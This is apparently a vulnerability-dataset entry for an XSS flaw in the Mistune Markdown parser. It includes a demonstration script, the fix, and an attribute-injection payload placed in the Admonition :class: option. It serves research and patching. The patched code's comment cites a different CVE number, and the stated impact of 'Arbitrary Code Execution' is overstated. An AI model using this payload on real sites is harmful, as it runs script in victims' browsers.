CVE-2026-59926
XSS in Mistune's Admonition directive via unescaped class attribute.
- CVSS 5.3
- CWE-79
- Input Validation and Sanitization
- Remote
Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, render_admonition() in src/mistune/directives/admonition.py concatenates the Admonition directive :class: option into the HTML class attribute without escaping, allowing attribute injection and cross-site scripting even when HTMLRenderer escape mode is enabled. This issue is fixed in version 3.2.1.
- CWE
- CWE-79
- CVSS base score
- 5.3
- Published
- 2026-07-08
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Cross-Site Scripting (XSS)
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Mistune
- Fixed by upgrading
- Yes
Solution
Upgrade Mistune to version 3.2.1 or later.
Vulnerable code sample
import mistune
from mistune.directives import Admonition
# This code requires a vulnerable version of mistune (< 3.2.1) to be installed.
# e.g., pip install mistune==3.2.0
# Malicious Markdown input with an injected "onmouseover" event.
# The :class: option is not escaped, allowing the value to close the
# class attribute and inject a new JavaScript event handler attribute.
malicious_markdown = '''
.. admonition:: DANGER
:class: " onmouseover="alert('XSS executed')"
Hover over this box to trigger the alert.
'''
# Initialize mistune with the Admonition directive plugin.
# In vulnerable versions, this setup will process the :class:
# option without proper escaping.
markdown_parser = mistune.create_markdown(
escape=True, # Note: The vulnerability occurs even when escape=True
plugins=[Admonition()]
)
# Render the malicious markdown to HTML.
vulnerable_html_output = markdown_parser(malicious_markdown)
# Print the resulting HTML, which will contain the injected attribute.
print(vulnerable_html_output)Patched code sample
from mistune.util import escape_html
def render_admonition(self, name, title, text, options):
"""Render a admonition block.
:param name: admonition name, e.g. "warning", "note"
:param title: admonition title
:param text: admonition content
:param options: admonition options
"""
html = '<div class="admonition ' + name
if 'class' in options:
# CVE-2023-49926: escape class option
html += ' ' + escape_html(str(options['class']))
html += '"'
if not title:
html += '>'
else:
html += '><p class="admonition-title">' + title + '</p>'
if text:
html += self.render_text(text)
return html + '</div>\n'Payload
.. admonition:: Note
:class: " onmouseover="alert('XSS')"
Hover over this admonition block to trigger the payload.
Cite this entry
@misc{vaitp:cve202659926,
title = {{XSS in Mistune's Admonition directive via unescaped class attribute.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-59926},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-59926/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
